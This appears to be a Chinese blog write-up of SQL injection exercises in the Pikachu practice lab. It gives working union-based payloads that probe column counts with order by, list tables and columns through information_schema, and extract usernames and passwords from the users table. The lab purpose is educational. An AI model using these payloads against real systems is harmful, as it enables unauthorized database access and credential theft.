pikachu-sql注入(1)
数字型注入(post)
本题看似查询选项只有6个,用burp抓取后修改id为7,得到lili的email:
如果在源码中增加echo $query,则可以在网页中直接查看搜索的sql语句;
用burp 抓包将id改为1 union select 1,2 from users得到下图:
再把1,2分别变成username和password得到users的信息
就显示了管理员的账户和密码了。
字符型注入(get)
(1)注入点的确定
输入asd通过url确定注入点为name:
(2)确定字段数
使用order by确定网页查询字段的数量:
学习order by:https://blog.csdn.net/wangyuxiang946/article/details/121058067
因为查询的是和上题一样的表:通过输入kobe’ order by 1 #来进行确认,不断改变后面数字,确定字段数
学习注释符:SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索 - impulse- - 博客园 (cnblogs.com)
确定只有两个字段数:
通过查看源码发现确实查询的是两个字段:
(3)确定数据库名和表名
使用联合查询:kobe’ union select database(),version() #
得到数据库名:pikachu
sql版本号5.7.26
5.0以上的版本,才存在information_schema表,这张表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息
输入kobe’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
GROUP_CONCAT()
函数将组中的字符串连接成为具有各种选项的单个字符串
得到pikachu的表的名称:
(4)获得表中字段名
用户信息藏在users表中,查字段1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
得到:
(5)获取账号密码
输入:1’ union select username,password from users#
即可得到账户密码
学习来自大佬:
(38条消息) pikachu字符型注入_祚1的博客-CSDN博客
(38条消息) pikachu之字符型sql注入详细过程_捭阖~的博客-CSDN博客
符型sql注入详细过程_捭阖~的博客-CSDN博客](https://blog.csdn.net/m0_54024658/article/details/116993237)